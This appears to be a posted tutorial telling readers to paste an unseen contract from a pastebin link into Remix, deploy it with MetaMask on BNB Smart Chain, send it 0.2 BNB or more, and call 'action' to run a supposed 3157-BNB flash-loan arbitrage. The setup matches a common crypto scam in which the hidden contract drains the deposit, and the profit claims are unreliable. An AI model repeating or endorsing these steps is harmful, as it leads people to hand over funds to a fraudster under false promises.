WORKING 12-8-2021
Remix Link – http://remix.ethereum.org/
Smart Contract Link – https://pastebin.com/37r0Xzvt
Change Complier version to 0.5.0
Here is a flash loan borrowing 3157 BNB from Multiplier-Finance for arbitrage trading on AMM DEX PancakeSwap. In order to prepare for arbitrage, the PancakeSwap swap contract is used to convert BNB to BUSD. Arbitrage uses BUSD/BNB PancakeSwap to convert BUSD to BNB, and then immediately uses BNB/BUSD BakerySwap to convert BNB back to 3157 BNB. After arbitrage, 3157 BNB was transferred back to Multiplier to pay the loan plus handling fee.
Before you begin, please install and set up MetaMask in the Chrome browser. 1. Download MetaMask for Chrome browser You can download and install MetaMask from this link: https://chrome.google.com/webstore/de… 2. Create “Custom RPC” in MetaMask to connect to Binance Smartchain
Name: Smart Chain
New RPC URL: https://bsc-dataseed.binance.org/
ChainID: 56
Symbol: BNB
Block Explorer URL: https://bscscan.com
The following are the network settings for adding smart chain. For complete information about the explanation, please visit this official Binance article: https://academy.binance.com/en/articl…
Step-by-step tutorial:
Step 1: Open and set up Remix in your browser (https://remix.ethereum.org)
Step 2: Click on the contract folder, then click on the create new file icon, create a file called InitiateFlashLoan.sol, and press ENTER (create this file in the contract folder
Step 3: Copy and paste the contract code to the REMIX panel (https://pastebin.com/37r0Xzvt)
Step 4: Click the Solidity Compiler icon (the second menu button from the left), and then change the compiler version to 0.5.0 and Click to compile InitiateFlashLoan.sol
Step 5: Change the environment to (injected Web3) and Connect your wallet when prompted (Metamask Preferable)
Step 6: Enter your token details and deploy the contract (you can enter any name) and Enter the loan amount at least 1000 BNB
Step 7: Click Deploy & Run ICON (the third menu button from the left) and Click to confirm wallet/metamask (waiting for confirmation)
Step 8: Click the deploy and run transaction icon (the third menu button from the left) and The new contract will appear under the DEPLOYED Contract field
Step 9: Copy the new contract address generated by the loan pool and Click to send METAMASK and paste the contract address
Step 10: Send 0.2+ BNB to the contract to get the gas fee for all swaps
Step 11: Wait for transaction confirmation and Call the “action” function.
Note: If using 0.2 BNB does not work, please try to send another 0.2 BNB (0.30 is better), as the daily fee may vary.
Avoid using very low amounts as the contract may fail below 0.15 BNB
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